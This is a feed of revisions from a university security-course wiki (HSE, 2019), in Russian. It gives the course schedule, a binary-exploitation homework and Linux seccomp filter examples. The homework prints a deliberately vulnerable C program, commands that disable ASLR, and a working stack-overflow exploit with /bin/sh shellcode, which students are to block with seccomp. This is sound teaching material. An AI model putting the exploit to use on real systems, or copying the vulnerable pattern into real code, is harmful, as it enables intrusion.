# (25.11) [https://drive.google.com/file/d/1kVM99uCDsTcgR_Zqs7UM6RwuyhdoQq8n/view?usp=sharing Механизмы безопасности приложений в операционных системах.]&lt;br /&gt;
# (02.12) [https://drive.google.com/file/d/1pE36xBXZC2v-UAfII9mO_9QDrOTdbUe5/view?usp=sharing Криптография. Введение и история. Хэши. Криптография с открытым ключом.]&lt;br /&gt;
# (09.12) Криптография. Симметричные шифры. MAC.&lt;br /&gt;
# (16.12) Криптография. Приложения - PKI, WoT, Блокчейн. Заключение.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинара нет.&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (18.11) [[Бинарные программы. Уязвимости переполнения кучи.]]&lt;br /&gt;
# (25.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (02.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_3&amp;diff=36951</id>
		<title>Безопасность компьютерных систем 2019/Задание 3</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_3&amp;diff=36951"/>
		<updated>2019-11-25T14:52:23Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: /* Задание по теме &amp;quot;Бинарные уязвимости&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Задание по теме &amp;quot;Бинарные уязвимости&amp;quot; ==&lt;br /&gt;
&lt;br /&gt;
Задание будет состоять из трёх частей:&lt;br /&gt;
&lt;br /&gt;
==== Format string ====&lt;br /&gt;
&lt;br /&gt;
Для выполнения этой части задания Вам необходимо добиться печати строки бинарником &amp;quot;Congratulation! You have successfully solved level 1!&amp;quot; в stdout с помощью эксплуатации уязвимости типа format string. Решением является код эксплойта.&lt;br /&gt;
&lt;br /&gt;
Материалы по теме: [https://blog.skullsecurity.org/2015/defcon-quals-babyecho-format-string-vulns-in-gory-detail]&lt;br /&gt;
&lt;br /&gt;
==== Stack buffer overflow ====&lt;br /&gt;
&lt;br /&gt;
Для выполнения этой части задания Вам необходимо прочитать содержимое файла &amp;quot;flag_1&amp;quot;. Решением является содержимое этого файла и код эксплойта.&lt;br /&gt;
&lt;br /&gt;
Материалы по теме: [https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/]&lt;br /&gt;
&lt;br /&gt;
==== Bonus ====&lt;br /&gt;
&lt;br /&gt;
Нужно искать после решения основной части, имеет несколько способов решения.&lt;br /&gt;
&lt;br /&gt;
=== Файлы заданий ===&lt;br /&gt;
&lt;br /&gt;
Файлы задания можно взять тут: [https://yadi.sk/d/WSJOP5NBfhbQFQ]. Само задание развёрнуто на pwn_task.hse.seclab.cs.msu.su:777.&lt;br /&gt;
&lt;br /&gt;
=== Баллы ===&lt;br /&gt;
&lt;br /&gt;
Флаги могут иметь разную стоимость. Суммарно все флаги обязательной части будут давать два балла, бонусной - N в зависимости от количества способов решения.&lt;br /&gt;
&lt;br /&gt;
=== Дедлайн ===&lt;br /&gt;
&lt;br /&gt;
12.12.2019 включительно.&lt;br /&gt;
&lt;br /&gt;
=== Сдача решений ===&lt;br /&gt;
&lt;br /&gt;
Решения заданий нужно присылать на почту michail.vms@yandex.ru с темой HSE_TASK, полным ФИО и номером группы.&lt;br /&gt;
&lt;br /&gt;
=== Поломка заданий ===&lt;br /&gt;
&lt;br /&gt;
Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне на почту michail.vms@yandex.ru.&lt;br /&gt;
&lt;br /&gt;
== Бонусное задание по SECCOMP ==&lt;br /&gt;
&lt;br /&gt;
В качестве дополнительного бонусного задания требуется модифицировать уязвимую программу (добавить фильтр seccomp-bpf), чтобы эксплойт перестал работать.&lt;br /&gt;
&lt;br /&gt;
Для начала вам нужно взять следующую простую программу и эксплойт к ней, и добиться успешного исполнения (под gdb и без него).&lt;br /&gt;
==== Программа ====&lt;br /&gt;
   #include &amp;lt;string.h&amp;gt;&lt;br /&gt;
   #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
   int badcpy(char *str) {&lt;br /&gt;
        register int i asm(&amp;quot;esp&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;$esp = %#010x\n&amp;quot;, i);&lt;br /&gt;
        char buffer[100];&lt;br /&gt;
        strcpy(buffer, str);&lt;br /&gt;
   }&lt;br /&gt;
   void main(int argc, char *argv[]) {&lt;br /&gt;
        badcpy(argv[1]);&lt;br /&gt;
        printf(&amp;quot;Done!\n&amp;quot;);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
Собираем без stack-protector и включаем execstack:&lt;br /&gt;
&lt;br /&gt;
   gcc -g -fno-stack-protector -z execstack -m32 -o stack stack.c&lt;br /&gt;
&lt;br /&gt;
Отключаем ASLR:&lt;br /&gt;
&lt;br /&gt;
   echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&lt;br /&gt;
==== Эксплойт (gensploit.py) ====&lt;br /&gt;
&lt;br /&gt;
   #!/usr/bin/python&lt;br /&gt;
   nopsled = &#039;\x90&#039; * 64&lt;br /&gt;
   shellcode = (&lt;br /&gt;
   &#039;\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2&#039; +&lt;br /&gt;
   &#039;\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89&#039; +&lt;br /&gt;
   &#039;\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80&#039;&lt;br /&gt;
   )&lt;br /&gt;
   padding = &#039;A&#039; * (112 - 64 - 32)&lt;br /&gt;
   eip = &#039;\xa0\xda\xff\xff&#039;&lt;br /&gt;
   print nopsled + shellcode + padding + eip&lt;br /&gt;
&lt;br /&gt;
==== Задача 1 ====&lt;br /&gt;
Сначала заставьте переполнение работать.&lt;br /&gt;
stack нужно передать шеллкод в качестве параметра командной строки.&lt;br /&gt;
&lt;br /&gt;
Запускать лучше используя абсолютный путь к бинарнику и через env - (env - /home/user/stack `gensploit.py`), и в том числе в gdb (env - gdb --args /home/user/...), так вы добьётесь примерно одинакового stack layout под gdb и без него. Под gdb ещё перед запуском программы надо unset-нуть переменные окружения LINES, COLUMNS, и возможно что-то ещё, что выставляет именно ваш gdb. Подберите под gdb нужное значение для адреса &amp;quot;eip =&amp;quot; в тексте генератора эксплойта - на вашей машине он скорее всего будет не такой, как в примере выше.&lt;br /&gt;
&lt;br /&gt;
Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80).&lt;br /&gt;
&lt;br /&gt;
После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch (проверяйте arch в политике), т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный).&lt;br /&gt;
&lt;br /&gt;
Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.&lt;br /&gt;
&lt;br /&gt;
Задание весит &#039;&#039;&#039;0.5&#039;&#039;&#039; балла.&lt;br /&gt;
&lt;br /&gt;
Дополнительно сделать проверку в фильтре, чтобы был разрешен execve() для /bin/ls, но запрещен для всего остального - ещё &#039;&#039;&#039;0.25&#039;&#039;&#039; балла.&lt;br /&gt;
&lt;br /&gt;
==== Задача 2 ====&lt;br /&gt;
Нужно взять стандартный docker-образ Ubuntu с официального репозитория docker.com и написать для него модифицированную политику SECCOMP, чтобы в этом репозитории запустился Chrome (headless mode). Результат присылать в виде: модифицированной seccomp политики докера с логами неуспешного запуска хрома на дефолтной политике и успешного на модифицированной.&lt;br /&gt;
&lt;br /&gt;
Задание весит &#039;&#039;&#039;0.5&#039;&#039;&#039; балла.&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/SECCOMP&amp;diff=36949</id>
		<title>Безопасность компьютерных систем 2019/SECCOMP</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/SECCOMP&amp;diff=36949"/>
		<updated>2019-11-25T13:40:02Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Linux seccomp ==&lt;br /&gt;
Ссылки для изучения:&lt;br /&gt;
&lt;br /&gt;
# Рекомендуемая основная презентация (пригодится для выполнения бонусного задания к заданию 3): http://man7.org/conf/lceu2016/limiting_kernel_attack_surface_with_seccomp-ContainerCon.eu_2016-Kerrisk.pdf&lt;br /&gt;
# https://eigenstate.org/notes/seccomp&lt;br /&gt;
# Kafel - язык для конструирования политик seccomp (not an official Google product) https://github.com/google/kafel&lt;br /&gt;
&lt;br /&gt;
== Тестовый пример 1 ==&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;linux/seccomp.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/prctl.h&amp;gt;&lt;br /&gt;
  int main () {&lt;br /&gt;
  pid_t pid;&lt;br /&gt;
  printf(&amp;quot;Step 1: no restrictions yet\n&amp;quot;);&lt;br /&gt;
  prctl (PR_SET_SECCOMP, SECCOMP_MODE_STRICT);&lt;br /&gt;
  printf (&amp;quot;Step 2: entering the strict mode. Only read(), write(), exit() and sigreturn() syscalls    are allowed\n&amp;quot;);&lt;br /&gt;
  pid = getpid ();&lt;br /&gt;
  printf (&amp;quot;!!YOU SHOULD NOT SEE THIS!! My PID = %d&amp;quot;, pid);&lt;br /&gt;
  return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
== Тестовый пример 2 ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;seccomp.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/fcntl.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    pid_t pid;&lt;br /&gt;
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_TRAP);&lt;br /&gt;
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);&lt;br /&gt;
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);&lt;br /&gt;
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sigreturn), 0);&lt;br /&gt;
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);&lt;br /&gt;
    printf (&amp;quot;No restrictions yet\n&amp;quot;);&lt;br /&gt;
    seccomp_load(ctx);&lt;br /&gt;
    pid = getpid();&lt;br /&gt;
    printf(&amp;quot;!! YOU SHOULD NOT SEE THIS!! My PID is%d\n&amp;quot;, pid);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
== Тестовый пример 3 ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/*************************************************************************\&lt;br /&gt;
*                  Copyright (C) Michael Kerrisk, 2016.                   *&lt;br /&gt;
*                                                                         *&lt;br /&gt;
* This program is free software. You may use, modify, and redistribute it *&lt;br /&gt;
* under the terms of the GNU General Public License as published by the   *&lt;br /&gt;
* Free Software Foundation, either version 3 or (at your option) any      *&lt;br /&gt;
* later version. This program is distributed without any warranty.  See   *&lt;br /&gt;
* the file COPYING.gpl-v3 for details.                                    *&lt;br /&gt;
\*************************************************************************/&lt;br /&gt;
&lt;br /&gt;
/* Supplementary program for Chapter Z */&lt;br /&gt;
&lt;br /&gt;
/* seccomp_deny.c&lt;br /&gt;
   A simple seccomp filter example. Install a filter that kills the process&lt;br /&gt;
   if open() is called.&lt;br /&gt;
*/&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include &amp;lt;stddef.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/audit.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/syscall.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/filter.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/seccomp.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/prctl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;  /* Type definitions used by many programs */&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;      /* Standard I/O functions */&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;     /* Prototypes of commonly used library functions, plus EXIT_SUCCESS and EXIT_FAILURE constants */&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;     /* Prototypes for many system calls */&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;      /* Declares errno and defines error constants */&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;     /* Commonly used string-handling functions */&lt;br /&gt;
&lt;br /&gt;
static int&lt;br /&gt;
seccomp(unsigned int operation, unsigned int flags, void *args)&lt;br /&gt;
{&lt;br /&gt;
    return syscall(__NR_seccomp, operation, flags, args);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static void&lt;br /&gt;
install_filter(void)&lt;br /&gt;
{&lt;br /&gt;
    struct sock_filter filter[] = {&lt;br /&gt;
        /* Load architecture */&lt;br /&gt;
&lt;br /&gt;
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS,&lt;br /&gt;
                (offsetof(struct seccomp_data, arch))),&lt;br /&gt;
&lt;br /&gt;
        /* Kill process if the architecture is not what we expect */&lt;br /&gt;
&lt;br /&gt;
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),&lt;br /&gt;
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),&lt;br /&gt;
&lt;br /&gt;
        /* Load system call number */&lt;br /&gt;
&lt;br /&gt;
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS,&lt;br /&gt;
                 (offsetof(struct seccomp_data, nr))),&lt;br /&gt;
&lt;br /&gt;
        /* Allow system calls other than open() */&lt;br /&gt;
&lt;br /&gt;
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 1, 0),&lt;br /&gt;
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),&lt;br /&gt;
&lt;br /&gt;
        /* Kill process on open() */&lt;br /&gt;
&lt;br /&gt;
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL)&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
    struct sock_fprog prog = {&lt;br /&gt;
        .len = (unsigned short) (sizeof(filter) / sizeof(filter[0])),&lt;br /&gt;
        .filter = filter,&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
    if (seccomp(SECCOMP_SET_MODE_FILTER, 0, &amp;amp;prog) == -1)&lt;br /&gt;
        perror(&amp;quot;seccomp&amp;quot;);&lt;br /&gt;
    /* On Linux 3.16 and earlier, we must instead use:&lt;br /&gt;
&lt;br /&gt;
            if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &amp;amp;prog))&lt;br /&gt;
                errExit(&amp;quot;prctl-PR_SET_SECCOMP&amp;quot;);&lt;br /&gt;
    */&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int&lt;br /&gt;
main(int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0))&lt;br /&gt;
        perror(&amp;quot;prctl&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    install_filter();&lt;br /&gt;
&lt;br /&gt;
    if (open(&amp;quot;/tmp/a&amp;quot;, O_RDONLY) == -1)&lt;br /&gt;
        perror(&amp;quot;open&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;We shouldn&#039;t see this message\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    exit(EXIT_SUCCESS);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Тестовый пример 4 ==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stddef.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/prctl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/syscall.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;linux/filter.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/seccomp.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/audit.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define ArchField offsetof(struct seccomp_data, arch)&lt;br /&gt;
&lt;br /&gt;
#define Allow(syscall) \&lt;br /&gt;
    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_##syscall, 0, 1), \&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW)&lt;br /&gt;
&lt;br /&gt;
struct sock_filter filter[] = {&lt;br /&gt;
    /* validate arch */&lt;br /&gt;
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS, ArchField),&lt;br /&gt;
    BPF_JUMP( BPF_JMP+BPF_JEQ+BPF_K, AUDIT_ARCH_X86_64, 1, 0),&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_TRAP),&lt;br /&gt;
&lt;br /&gt;
    /* load syscall */&lt;br /&gt;
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS, offsetof(struct seccomp_data, nr)),&lt;br /&gt;
&lt;br /&gt;
    /* list of allowed syscalls */&lt;br /&gt;
    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_brk, 0, 1),&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),&lt;br /&gt;
    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_mmap, 0, 1),&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),&lt;br /&gt;
    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_munmap, 0, 1),&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),&lt;br /&gt;
    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_write, 0, 1),&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),&lt;br /&gt;
    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_exit, 0, 1),&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),&lt;br /&gt;
&lt;br /&gt;
    /* and if we don&#039;t match above, die */&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),&lt;br /&gt;
};&lt;br /&gt;
struct sock_fprog filterprog = {&lt;br /&gt;
    .len = sizeof(filter)/sizeof(filter[0]),&lt;br /&gt;
    .filter = filter&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char **argv) {&lt;br /&gt;
    char buf[1024];&lt;br /&gt;
&lt;br /&gt;
    /* set up the restricted environment */&lt;br /&gt;
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {&lt;br /&gt;
        perror(&amp;quot;Could not start seccomp:&amp;quot;);&lt;br /&gt;
        exit(1);&lt;br /&gt;
    }&lt;br /&gt;
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &amp;amp;filterprog) == -1) {&lt;br /&gt;
        perror(&amp;quot;Could not start seccomp:&amp;quot;);&lt;br /&gt;
        exit(1);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /* printf only writes to stdout, but for some reason it stats it. */&lt;br /&gt;
    printf(&amp;quot;hello there!\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    if (argc &amp;gt; 1 &amp;amp;&amp;amp; strcmp(argv[1], &amp;quot;haxor&amp;quot;) == 0) {&lt;br /&gt;
        int fd = socket(AF_INET6, SOCK_STREAM, 0);&lt;br /&gt;
        /* ...and start sending spam */&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/SECCOMP&amp;diff=36936</id>
		<title>Безопасность компьютерных систем 2019/SECCOMP</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019/SECCOMP&amp;diff=36936"/>
		<updated>2019-11-25T10:09:01Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: Новая страница: «== Linux seccomp == Ссылки для изучения:  # Рекомендуемая основная презентация (пригодится для вы…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Linux seccomp ==&lt;br /&gt;
Ссылки для изучения:&lt;br /&gt;
&lt;br /&gt;
# Рекомендуемая основная презентация (пригодится для выполнения бонусного задания к заданию 3): http://events.linuxfoundation.org/sites/events/files/slides/limiting_kernel_attack_surface_with_seccomp-ContainerCon.eu_2016-Kerrisk.pdf&lt;br /&gt;
# https://eigenstate.org/notes/seccomp&lt;br /&gt;
# Kafel - язык для конструирования политик seccomp (not an official Google product) https://github.com/google/kafel&lt;br /&gt;
&lt;br /&gt;
== Тестовый пример 1 ==&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;linux/seccomp.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/prctl.h&amp;gt;&lt;br /&gt;
  int main () {&lt;br /&gt;
  pid_t pid;&lt;br /&gt;
  printf(&amp;quot;Step 1: no restrictions yet\n&amp;quot;);&lt;br /&gt;
  prctl (PR_SET_SECCOMP, SECCOMP_MODE_STRICT);&lt;br /&gt;
  printf (&amp;quot;Step 2: entering the strict mode. Only read(), write(), exit() and sigreturn() syscalls    are allowed\n&amp;quot;);&lt;br /&gt;
  pid = getpid ();&lt;br /&gt;
  printf (&amp;quot;!!YOU SHOULD NOT SEE THIS!! My PID = %d&amp;quot;, pid);&lt;br /&gt;
  return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
== Тестовый пример 2 ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;seccomp.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
